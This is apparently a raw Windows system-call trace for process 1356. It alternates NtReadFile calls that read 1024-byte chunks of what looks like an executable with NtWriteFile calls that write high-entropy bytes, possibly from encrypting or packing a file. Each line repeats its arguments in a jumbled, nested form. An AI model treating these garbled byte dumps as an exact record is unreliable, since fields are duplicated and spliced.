 01083  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\370\12^\20\272\313\321\362op&\245\372\230(\317't\14i\270\255\\22\34\2271\257\371\315\232\265\353\271y\210\271\350\3\30$\226v\223\|\321y\7\354\242\3553\261\255\250\232\220+\16\231\372\26\2115k\14^S\324\14\306\233"\230\276\14a\11\276\204\321]\12\206\355\253t\2442r\301\363\217\362\235O~\335\15\365\322\267\233\373\310+?\363\327\261\355\355\1\304 t\2134\337\316m\2249M\36\177\23Z\300\225U\305J;NbRF-5\257\355VU/\326\366\300\246\203\310\214\15\\370\277o)\217\366\347.\354H2P\273Z\16\216\304\216\216\362\35\3416\362\316X\204\24\30\254'\315\21\27}\340g\307SXYB\262\3411\310\203\7\33\351.kb\264l\3718\15\2641b\251\255\13\2\254\371\371\357\221\226TJE\246+\335_=\317\204\261)\254\26\215\371\17T:\129\217l\266"#p\237\234\12\206Ny:JE\242\274\316\302\211\270\213\226\14\212\204\240\367t\370\7hz\263\3148", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \230\276\14a\11\276\204\321]\12\206\355\253t\2442r\301\363\217\362\235O~\335\15\365\322\267\233\373\310+?\363\327\261\355\355\1\304 t\2134\337\316m\2249M\36\177\23Z\300\225U\305J;NbRF-5\257\355VU/\326\366\300\246\203\310\214\15\\370\277o)\217\366\347.\354H2P\273Z\16\216\304\216\216\362\35\3416\362\316X\204\24\30\254'\315\21\27}\340g\307SXYB\262\3411\310\203\7\33\351.kb\264l\3718\15\2641b\251\255\13\2\254\371\371\357\221\226TJE\246+\335_=\317\204\261)\254\26\215\371\17T:\129\217l\266325\317y}z%~\255\33m(\352\340\314(\367\371\202\214U\250\222H\34\30\345M\12c\4\16\264\242\243\347^;P\204\2420\326\205/\267^\341\c|Y\302\25@\272n\205\263:\362]|\177\246\27\217\322\2471\217\256\216\231\234\334\30\374`\210!\37\231,\36\276\271-\301]rc\360.\333\33\331\36\206\336\30\336m\234\240\201\271]+e\341W\265\376\371\16\261#\256\6\213\263;[Z\334VC\325y\34\211h\271Of\357\200\26\230\353\312\302\245:\353\202\271@\377|\361\372\271h\222\262FPa\325nbm\351\264T\265W\36\272\235\363\216\313G6A\377ei\16\22\346\26q\266\233\232Y\223\0G!\304\364R\241}nX\202\340\220*\14I\214\367`\223\251\363'\276 (92, 0, 0, 0, "\370\12^\20\272\313\321\362op&\245\372\230(\317't\14i\270\255\\22\34\2271\257\371\315\232\265\353\271y\210\271\350\3\30$\226v\223\|\321y\7\354\242\3553\261\255\250\232\220+\16\231\372\26\2115k\14^S\324\14\306\233"\230\276\14a\11\276\204\321]\12\206\355\253t\2442r\301\363\217\362\235O~\335\15\365\322\267\233\373\310+?\363\327\261\355\355\1\304 t\2134\337\316m\2249M\36\177\23Z\300\225U\305J;NbRF-5\257\355VU/\326\366\300\246\203\310\214\15\\370\277o)\217\366\347.\354H2P\273Z\16\216\304\216\216\362\35\3416\362\316X\204\24\30\254'\315\21\27}\340g\307SXYB\262\3411\310\203\7\33\351.kb\264l\3718\15\2641b\251\255\13\2\254\371\371\357\221\226TJE\246+\335_=\317\204\261)\254\26\215\371\17T:\129\217l\266"#p\237\234\12\206Ny:JE\242\274\316\302\211\270\213\226\14\212\204\240\367t\370\7hz\263\3148", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01084  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\0\0\0\0\0\0\340\5\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0p\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\20\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0P\11\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\00\12\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\00\12\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\00\12\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\04\27\0@\234\32\0@|\34\0@\4 \0@\#\0@\234#\0@\0\313\314\310\311\327\317\310\315\316\333\330\332\331\312\334\335\336\337\340\341\343\0\344\345\215@\0\3\0\0\0\0\0\0\0\1\0\0\0\2\0\0\0\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0Error\0\213\300Runtime error     at 00000000\0\213\3000123456789ABCDEF\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0", ) , ) == 0x0
 01085  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\266!\204\270\362\322\264\1\226?\253\231\275\335\317sL\3\376\357\15\342\233 \374cx!\371\224~\350]7G\362\200\307V\213\267?#<\374\23\355\25\264\15WR\273\306K\205\237Pl\335\271&\345\345\344ln\231\227aal\302?\225\316\270#onsU\370~\36\261$\221F\222$J\245\336\226u\17.\34\256@/J\211\371\264\231mo3dd\224\\253F\361\355\346\250\366\223\225"T\15\332\233p\312\34\210&R\252\212\373+q?H\202\253\250\205\5\241\343\320\206\234\274bm\203 \337 \363\260\227\347?<\210\34\22\252\7\310\265\36\202\270fP\252\265iI*\14\3529\252\I\256\216\25=9\250z\7\206\32[~\243\3538\226\310\254ys\265\252@\273(\332\13\207\270\362C\320\225\\21\211EI\3305\335\254lm\371\274X\302\253\203p\265\330\220\5\266\3109\13e\357\322>\210y\37\222vp\324\232\22:u_vn\31\31\330\274\365\311\241\261\177_\272\220\377\211\7\205\361\330\343x\325}Bc\202\223Wv\232\203\2600\340\326y\363\15\343\231\25\13M\204d\355\247\253\266[\273u\245,\12\252\26\36\344:\275\365r\312=\234N\366\10\333\337`\251\14?w\340\237x\245\346\270\256/z\242\215\302\260+JR\301\2405;~\36\320\203\344h\303\33\313\325\246\243hE\10\206\320\214\207Z\333\7\273\337\334\2`t\275\17[\36L\346P\202\3412\10+\266A\17\205\304\0\30\2528\304\226\374r\262\230]Y\245\365\246jF9\337\362\256s\253\35;\261\301GZ\275\352\303\267\316\222\354\207\252oP\222s-zqd|\364\245\275\247\222\107\322\234\32\322N\205\366P\34\256m\2137\366\356\307\332CL\373+TY\2068Y\324ft\353TW=n-\366\375\24777", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) T\15\332\233p\312\34\210&R\252\212\373+q?H\202\253\250\205\5\241\343\320\206\234\274bm\203 \337 \363\260\227\347?<\210\34\22\252\7\310\265\36\202\270fP\252\265iI*\14\3529\252\I\256\216\25=9\250z\7\206\32[~\243\3538\226\310\254ys\265\252@\273(\332\13\207\270\362C\320\225\\21\211EI\3305\335\254lm\371\274X\302\253\203p\265\330\220\5\266\3109\13e\357\322>\210y\37\222vp\324\232\22:u_vn\31\31\330\274\365\311\241\261\177_\272\220\377\211\7\205\361\330\343x\325}Bc\202\223Wv\232\203\2600\340\326y\363\15\343\231\25\13M\204d\355\247\253\266[\273u\245,\12\252\26\36\344:\275\365r\312=\234N\366\10\333\337`\251\14?w\340\237x\245\346\270\256/z\242\215\302\260+JR\301\2405;~\36\320\203\344h\303\33\313\325\246\243hE\10\206\320\214\207Z\333\7\273\337\334\2`t\275\17[\36L\346P\202\3412\10+\266A\17\205\304\0\30\2528\304\226\374r\262\230]Y\245\365\246jF9\337\362\256s\253\35;\261\301GZ\275\352\303\267\316\222\354\207\252oP\222s-zqd|\364\245\275\247\222\107\322\234\32\322N\205\366P\34\256m\2137\366\356\307\332CL\373+TY\2068Y\324ft\353TW=n-\366\375\24777", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01086  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\0\0\0\0\0\0\0\0W\0\7\200\0\0\0\0\1\215@\0\0\0\0\0\0\215@\0\377\377\377\377\344'\1@\364'\1@\4(\1@\30(\1@((\1@8(\1@H(\1@\(\1@l(\1@|(\1@\220(\1@\240(\1@\260(\1@\300(\1@\320(\1@\340(\1@\354(\1@\0)\1@\20)\1@ )\1@4)\1@\0\1\0\1\0\1\1\0\0\1\1\0\0\0\1\0\1\1\213\300\24/\1@$/\1@4/\1@\0\0\0\0\224?\1@\240?\1@0G\1@, ) , ) == 0x0
 01087  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "a\217g\371\7\200\200\336\2741\313(\375\343\374\344\305\264C\33\37\301"[\14\361\226G\335\320\210\26\326T\12\344\363\327B\177\271\203\236\22\236\266%\17\346t=y\307\246\32Z\226|f7[+\341\243\247\327\331~\256\334KX\14;\237\374\305\24#2D\207\33\21\310\213\303\31\357.f\205(\377\337\247\363'\240\5\5\231\14lt%\15^\22\361T)\364\11\342L\3546F\364\234%+\0Y\210\11dy\13\5\326\320\242\207\6\21\225\1\316\200s\305\312\240E\265^\303k\260\241\337t\352\260\227tY\213\342iE%\316J\333\240AM\177d\324\322\2fZe>k\247\252#H\354Jz\263\333Q\243\344\314\362\6\320\11\306e\6\307\10\16\317\20L\342\355\211\252\345\211JB\17D\356\246\3559\2\371\230\310[\2275i\232\5?\273cQ\251\4\234\203\324\311\25;\10\320\256\10\327\236\310+b\25S\2208\252\323f\5\260\260pN\22\325\277\311\273f\226\347\21n\35\310992\322\366\250\260\362\360\266\23)\365\11=\0\347M?V\226{\267\253\225D\326!Of\252\343\316\332\327\337G-(1\350E\342\223\346\169"\366_\202Sid9u|e\31A.\232\300gW\360d\206\303R\16\374\336\226{\6y\276\306\207\273(\267\2056\314\226\333\36617\351\205\231\331w\237K\357\234\263]\30RB:\226\14\216\326=Z4\221\244(a\202\327\265G4\32\271$r\2776\0\27R\263-\16\253\347x3\335\255\327\25\245\266W\377\363\346\262\267\324\226V\370\334m\322\3663M4<\236\246\255G\322e\30#\241\343\243\\333\240\351\3\207)\366\3734\332\316H\371\221\263|q\275\257a9=K\250\27 \32\373\33\27\256\253\244W\315\310\353\30\253-\210s\305\27A\367\215Ds", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) [\14\361\226G\335\320\210\26\326T\12\344\363\327B\177\271\203\236\22\236\266%\17\346t=y\307\246\32Z\226|f7[+\341\243\247\327\331~\256\334KX\14;\237\374\305\24#2D\207\33\21\310\213\303\31\357.f\205(\377\337\247\363'\240\5\5\231\14lt%\15^\22\361T)\364\11\342L\3546F\364\234%+\0Y\210\11dy\13\5\326\320\242\207\6\21\225\1\316\200s\305\312\240E\265^\303k\260\241\337t\352\260\227tY\213\342iE%\316J\333\240AM\177d\324\322\2fZe>k\247\252#H\354Jz\263\333Q\243\344\314\362\6\320\11\306e\6\307\10\16\317\20L\342\355\211\252\345\211JB\17D\356\246\3559\2\371\230\310[\2275i\232\5?\273cQ\251\4\234\203\324\311\25;\10\320\256\10\327\236\310+b\25S\2208\252\323f\5\260\260pN\22\325\277\311\273f\226\347\21n\35\310992\322\366\250\260\362\360\266\23)\365\11=\0\347M?V\226{\267\253\225D\326!Of\252\343\316\332\327\337G-(1\350E\342\223\346\169 (92, 0, 0, 0, "a\217g\371\7\200\200\336\2741\313(\375\343\374\344\305\264C\33\37\301"[\14\361\226G\335\320\210\26\326T\12\344\363\327B\177\271\203\236\22\236\266%\17\346t=y\307\246\32Z\226|f7[+\341\243\247\327\331~\256\334KX\14;\237\374\305\24#2D\207\33\21\310\213\303\31\357.f\205(\377\337\247\363'\240\5\5\231\14lt%\15^\22\361T)\364\11\342L\3546F\364\234%+\0Y\210\11dy\13\5\326\320\242\207\6\21\225\1\316\200s\305\312\240E\265^\303k\260\241\337t\352\260\227tY\213\342iE%\316J\333\240AM\177d\324\322\2fZe>k\247\252#H\354Jz\263\333Q\243\344\314\362\6\320\11\306e\6\307\10\16\317\20L\342\355\211\252\345\211JB\17D\356\246\3559\2\371\230\310[\2275i\232\5?\273cQ\251\4\234\203\324\311\25;\10\320\256\10\327\236\310+b\25S\2208\252\323f\5\260\260pN\22\325\277\311\273f\226\347\21n\35\310992\322\366\250\260\362\360\266\23)\365\11=\0\347M?V\226{\267\253\225D\326!Of\252\343\316\332\327\337G-(1\350E\342\223\346\169"\366_\202Sid9u|e\31A.\232\300gW\360d\206\303R\16\374\336\226{\6y\276\306\207\273(\267\2056\314\226\333\36617\351\205\231\331w\237K\357\234\263]\30RB:\226\14\216\326=Z4\221\244(a\202\327\265G4\32\271$r\2776\0\27R\263-\16\253\347x3\335\255\327\25\245\266W\377\363\346\262\267\324\226V\370\334m\322\3663M4<\236\246\255G\322e\30#\241\343\243\\333\240\351\3\207)\366\3734\332\316H\371\221\263|q\275\257a9=K\250\27 \32\373\33\27\256\253\244W\315\310\353\30\253-\210s\305\27A\367\215Ds", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01088  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\310l\0@\350k\0@0l\0@0k\0@\30m\0@Xm\0@\300m\0@8\300\1@\350l\0@,\300\1@hl\0@\24\240\1@\320m\0@\10\300\1@\250m\0@\320l\0@\0\300\1@`l\0@@l\0@t\362\1@\10]\1@Hk\0@\260m\0@\220m\0@\270m\0@\34\300\1@M\300\1@\30k\0@\320k\0@\20k\0@\360l\0@Pk\0@\330k\0@h\362\1@\220l\0@Hl\0@@m\0@\34\302\1@`m\0@\14\300\1@ m\0@\4\300\1@\20\300\1@ ]\1@\204?\1@hm\0@\260k\0@\250k\0@\270k\0@\334.\1@\240m\0@ k\0@hk\0@\340k\0@\324.\1@\0l\0@(l\0@\20m\0@\354.\1@xl\0@\314\247\1@\314.\1@8m\0@ l\0@D\300\1@(m\0@p\362\1@Hm\0@x\362\1@\4/\1@\20\240\1@\30l\0@\270l\0@\370l\0@\210m\0@\344.\1@@k\0@\200k\0@d\362\1@", ) , ) == 0x0
 01089  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\3553\21\342+LJ\321L\321(\266B\252\223\205\354\246\371\213\221\341\220\207\254\355\240.\211\2>\332',\216\320\232or\372\363Ybb\267\202\4z\267w\351\13\27FX\257[\35\16\201\10\262\366\364\17\15\327Hd;?f\373n\20\261~\266cc\226\352\305\257\325\341b\365\377dk\240\272\353h6\377\241\203w\3465\224\33CO\7\200\364\21F\350\321\\270\263\335\324,S\236\377\246\364\237\347`F\247*\252\307wf\146\346\341\24\33DTe!H31\2411\344(\257\2\314\26\302\336"\201x\337/\204\344u\274 \363\36\21\2\15\376\234\16\331{1\12:uWU\234\360\337\32\3212\322\26\314\200\302L\300\10\354Lx[l\323\7\204n\301\342?\204,\342\11;t\2240\214\317\22\250\342\317\331O\330\254"kND\364\305\225\327\353s\6{\237E\373\260\204/ \220A\217M\3\20\273\31z>|\327V\3\37\301E\64\129\241(KD!$\254j\11S'\24\261]p\253\333O\313\223p*\200c\301r\25\11`}{\215C\12\355:\374\22`\217, 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \201x\337/\204\344u\274 \363\36\21\2\15\376\234\16\331{1\12:uWU\234\360\337\32\3212\322\26\314\200\302L\300\10\354Lx[l\323\7\204n\301\342?\204,\342\11;t\2240\214\317\22\250\342\317\331O\330\254 (92, 0, 0, 0, "\3553\21\342+LJ\321L\321(\266B\252\223\205\354\246\371\213\221\341\220\207\254\355\240.\211\2>\332',\216\320\232or\372\363Ybb\267\202\4z\267w\351\13\27FX\257[\35\16\201\10\262\366\364\17\15\327Hd;?f\373n\20\261~\266cc\226\352\305\257\325\341b\365\377dk\240\272\353h6\377\241\203w\3465\224\33CO\7\200\364\21F\350\321\\270\263\335\324,S\236\377\246\364\237\347`F\247*\252\307wf\146\346\341\24\33DTe!H31\2411\344(\257\2\314\26\302\336"\201x\337/\204\344u\274 \363\36\21\2\15\376\234\16\331{1\12:uWU\234\360\337\32\3212\322\26\314\200\302L\300\10\354Lx[l\323\7\204n\301\342?\204,\342\11;t\2240\214\317\22\250\342\317\331O\330\254"kND\364\305\225\327\353s\6{\237E\373\260\204/ \220A\217M\3\20\273\31z>|\327V\3\37\301E\64\129\241(KD!$\254j\11S'\24\261]p\253\333O\313\223p*\200c\301r\25\11`}{\215C\12\355:\374\22`\217, 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01090  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "@A\2\0\0\0\0\0\0\0\0\0xF\2\0\334C\2\0PA\2\0\0\0\0\0\0\0\0\0\300F\2\0\354C\2\0`A\2\0\0\0\0\0\0\0\0\0\0G\2\0\374C\2\0xA\2\0\0\0\0\0\0\0\0\0VG\2\0\24D\2\0\30B\2\0\0\0\0\0\0\0\0\0\364I\2\0\264D\2\0,B\2\0\0\0\0\0\0\0\0\0@J\2\0\310D\2\0TB\2\0\0\0\0\0\0\0\0\0\304J\2\0\360D\2\0\244B\2\0\0\0\0\0\0\0\0\0\22L\2\0@E\2\0hC\2\0\0\0\0\0\0\0\0\0dO\2\0\4F\2\0\210C\2\0\0\0\0\0\0\0\0\0\346O\2\0$F\2\0\224C\2\0\0\0\0\0\0\0\0\0\24P\2\00F\2\0\240C\2\0\0\0\0\0\0\0\0\0@P\2\0, ) , ) == 0x0
 01091  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\356\275l\313\221ej\377\230\241!\201\265\325\305B\251\22\270\362\333O\270\264\236w\3x\232\201\370\201\322V)6\203o\332@r\36!H/l\240\361\37\5r\31\275\17\325\361\306U~\364\347N\313\4&\267!\241\245\264*C\274va>\211g~\356S\2669P\322\37v\240\356#\222\2\31{3\264\5[\234\206\204\13\367\250`$\371\337{\210\368\35GvY\262\373jA\333\335\355?f\207gm\360\253\336\375\25\266|\'mN\177,\236]\365L\35\210\34\211K\230\335\351Fhh\240\252\16L\261u\323/M\374\370+\202P)Y\302Kr\266B\10UoTSx\2\356\201F\2j#(2X\237\343l\37B\302\225v)\274R\253\22\262\224D\277Y\14\371\6xk\214g\234\242w\301\317\250\243\26\255"\311\6\226\222\31#7\236\252!V\213E.\210\232P\306\251\7I?\336\3116\211\25\27\356\333\366\371\4\217\275\347\347\225\11\301\313\10K\215\267?h\222\201}\3\244@\4\314\260\304!9V\333\357=\15\211e\2618#\217\372;\30\2534\270F\320\303\231k\244\343\7Y\202\17]~\342\327\334\25K\205\30\214_\264\230\322\241N\6R\372+\246B\240\342\321\330\235?I\317\2369\221\376\250Jx\11k|#)\372\376\205\2662\33\377\276\234\345\340\260\272Y\373D\23\331\351\315h\320\351\212\16\317Q)T\210\200\3732\241\1\27\2670\306\357\2\232\\221\274X}\23793\315\363j7`\270\22r\6\263F$\307\35\240cms\6\2370\253\11g\23"\256\13\345}&m\216\235\15\4`X\225\347\2\335\270h\13S\3319\204\351\254i\303}\220\272e\3732J\376R\261/s\244R2}\222v\327\36!\347_s\300e\320_\301\313}\253\240G\245\231\231", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \311\6\226\222\31#7\236\252!V\213E.\210\232P\306\251\7I?\336\3116\211\25\27\356\333\366\371\4\217\275\347\347\225\11\301\313\10K\215\267?h\222\201}\3\244@\4\314\260\304!9V\333\357=\15\211e\2618#\217\372;\30\2534\270F\320\303\231k\244\343\7Y\202\17]~\342\327\334\25K\205\30\214_\264\230\322\241N\6R\372+\246B\240\342\321\330\235?I\317\2369\221\376\250Jx\11k|#)\372\376\205\2662\33\377\276\234\345\340\260\272Y\373D\23\331\351\315h\320\351\212\16\317Q)T\210\200\3732\241\1\27\2670\306\357\2\232\\221\274X}\23793\315\363j7`\270\22r\6\263F$\307\35\240cms\6\2370\253\11g\23 (92, 0, 0, 0, "\356\275l\313\221ej\377\230\241!\201\265\325\305B\251\22\270\362\333O\270\264\236w\3x\232\201\370\201\322V)6\203o\332@r\36!H/l\240\361\37\5r\31\275\17\325\361\306U~\364\347N\313\4&\267!\241\245\264*C\274va>\211g~\356S\2669P\322\37v\240\356#\222\2\31{3\264\5[\234\206\204\13\367\250`$\371\337{\210\368\35GvY\262\373jA\333\335\355?f\207gm\360\253\336\375\25\266|\'mN\177,\236]\365L\35\210\34\211K\230\335\351Fhh\240\252\16L\261u\323/M\374\370+\202P)Y\302Kr\266B\10UoTSx\2\356\201F\2j#(2X\237\343l\37B\302\225v)\274R\253\22\262\224D\277Y\14\371\6xk\214g\234\242w\301\317\250\243\26\255"\311\6\226\222\31#7\236\252!V\213E.\210\232P\306\251\7I?\336\3116\211\25\27\356\333\366\371\4\217\275\347\347\225\11\301\313\10K\215\267?h\222\201}\3\244@\4\314\260\304!9V\333\357=\15\211e\2618#\217\372;\30\2534\270F\320\303\231k\244\343\7Y\202\17]~\342\327\334\25K\205\30\214_\264\230\322\241N\6R\372+\246B\240\342\321\330\235?I\317\2369\221\376\250Jx\11k|#)\372\376\205\2662\33\377\276\234\345\340\260\272Y\373D\23\331\351\315h\320\351\212\16\317Q)T\210\200\3732\241\1\27\2670\306\357\2\232\\221\274X}\23793\315\363j7`\270\22r\6\263F$\307\35\240cms\6\2370\253\11g\23"\256\13\345}&m\216\235\15\4`X\225\347\2\335\270h\13S\3319\204\351\254i\303}\220\272e\3732J\376R\261/s\244R2}\222v\327\36!\347_s\300e\320_\301\313}\253\240G\245\231\231", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01092  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\36G\2\0.G\2\0L\2\0JL\2\0TL\2\0jL\2\0zL\2\0\202L\2\0\224L\2\0\246L\2\0\262L\2\0\300L\2\0\314L\2\0\342L\2\0\354L\2\0\374L\2\0\14M\2\0\34M\2\04M\2\0PM\2\0`M\2\0pM\2\0\202M\2\0\222M\2\0\250M\2\0\270M\2\0\312M\2\0\336M\2\0\364M\2\0\6N\2\0\26N\2\0&N\2\0@N\2\0TN\2\0fN\2\0|N\2\0\210N\2\0\230N\2\0\246N\2\0\270N\2\0\310N\2\0\326N\2\0\352N\2\0\2O\2\0\32O\2\0(O\2\0", ) , ) == 0x0
 01093  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\335\355\212\266\216\332\342c\343\240\356\310\206\204\35\177755\255\10n9\2M\342&\30\200e\224)\251\330"o^\222\266z\227\223W\340\351\352\340\311.&i\326}\270\216\373\24Kf\247\212em^\23\331,\ \34S\20\331#?QI\26\11O\270\22\2313\177\1\200\10\350D\20K\334\376\225\246\203\13\360z\326/\261\15\222x\217\20!\200\375\276m\363\EC\3HI\315\3\332\12\3`A\2\232JM&\257\377\377\245>\33\273\364\213\200\235\36f\261\331\2-\36\263\49\33\370\3546J]\373+.\241\322K\376{\253y\13:\333\0\222\344\333\31\47\25kA\337|ql\356\6\343'F\316\37\271\36\31\30\351\360\256\337|z_\257\314\355\23\316\313?\367\203\231>\3\315\16W\325\300\32\177\247\2337\376Y\4H\367\30I\26N\350u\237\235\242\36/|_\246J\357\274\323\374\206\373\2\22\347~\3\341\26\7\270\340%\15\270\14* \335\276`\177\36\356\16\312\305w\321Y\216\273\22\242\202\\216z@\215*\201\5\27\252D[s\322Q- xM\213S\37\262\357\225\242\31\372>\351@\216,EK$f\244!d\31:9f&-QF\352\3511?\211\17\360\237\321l\324 \356#\212\261|~hK\200\370\33\361\354\316X\211H\256\31\271\265W}\307\246\213Hu\2152\6\36\240\313\202\337ZD$\26\364\332f\34\326M\236\23\14\342D9\207\253"\214\212\206\200l6~\250\322\322\265d\220\27-\374\272\216WB\35xD\246R\210c\31\17'\242P\210\35\266\35#cn\306!\10\226\14F0\312\227\362#/\234\370\352\275\177:`\322PP\325\4@<\253\0\11\246\333\330w-Q\0\350\303\25\301\231\354\245\16\252\241d\11.\356\3k\376n\373j\235\232q\306\6", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) o^\222\266z\227\223W\340\351\352\340\311.&i\326}\270\216\373\24Kf\247\212em^\23\331,\ \34S\20\331#?QI\26\11O\270\22\2313\177\1\200\10\350D\20K\334\376\225\246\203\13\360z\326/\261\15\222x\217\20!\200\375\276m\363\EC\3HI\315\3\332\12\3`A\2\232JM&\257\377\377\245>\33\273\364\213\200\235\36f\261\331\2-\36\263\49\33\370\3546J]\373+.\241\322K\376{\253y\13:\333\0\222\344\333\31\47\25kA\337|ql\356\6\343'F\316\37\271\36\31\30\351\360\256\337|z_\257\314\355\23\316\313?\367\203\231>\3\315\16W\325\300\32\177\247\2337\376Y\4H\367\30I\26N\350u\237\235\242\36/|_\246J\357\274\323\374\206\373\2\22\347~\3\341\26\7\270\340%\15\270\14* \335\276`\177\36\356\16\312\305w\321Y\216\273\22\242\202\\216z@\215*\201\5\27\252D[s\322Q- xM\213S\37\262\357\225\242\31\372>\351@\216,EK$f\244!d\31:9f&-QF\352\3511?\211\17\360\237\321l\324 \356#\212\261|~hK\200\370\33\361\354\316X\211H\256\31\271\265W}\307\246\213Hu\2152\6\36\240\313\202\337ZD$\26\364\332f\34\326M\236\23\14\342D9\207\253 (92, 0, 0, 0, "\335\355\212\266\216\332\342c\343\240\356\310\206\204\35\177755\255\10n9\2M\342&\30\200e\224)\251\330"o^\222\266z\227\223W\340\351\352\340\311.&i\326}\270\216\373\24Kf\247\212em^\23\331,\ \34S\20\331#?QI\26\11O\270\22\2313\177\1\200\10\350D\20K\334\376\225\246\203\13\360z\326/\261\15\222x\217\20!\200\375\276m\363\EC\3HI\315\3\332\12\3`A\2\232JM&\257\377\377\245>\33\273\364\213\200\235\36f\261\331\2-\36\263\49\33\370\3546J]\373+.\241\322K\376{\253y\13:\333\0\222\344\333\31\47\25kA\337|ql\356\6\343'F\316\37\271\36\31\30\351\360\256\337|z_\257\314\355\23\316\313?\367\203\231>\3\315\16W\325\300\32\177\247\2337\376Y\4H\367\30I\26N\350u\237\235\242\36/|_\246J\357\274\323\374\206\373\2\22\347~\3\341\26\7\270\340%\15\270\14* \335\276`\177\36\356\16\312\305w\321Y\216\273\22\242\202\\216z@\215*\201\5\27\252D[s\322Q- xM\213S\37\262\357\225\242\31\372>\351@\216,EK$f\244!d\31:9f&-QF\352\3511?\211\17\360\237\321l\324 \356#\212\261|~hK\200\370\33\361\354\316X\211H\256\31\271\265W}\307\246\213Hu\2152\6\36\240\313\202\337ZD$\26\364\332f\34\326M\236\23\14\342D9\207\253"\214\212\206\200l6~\250\322\322\265d\220\27-\374\272\216WB\35xD\246R\210c\31\17'\242P\210\35\266\35#cn\306!\10\226\14F0\312\227\362#/\234\370\352\275\177:`\322PP\325\4@<\253\0\11\246\333\330w-Q\0\350\303\25\301\231\354\245\16\252\241d\11.\356\3k\376n\373j\235\232q\306\6", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
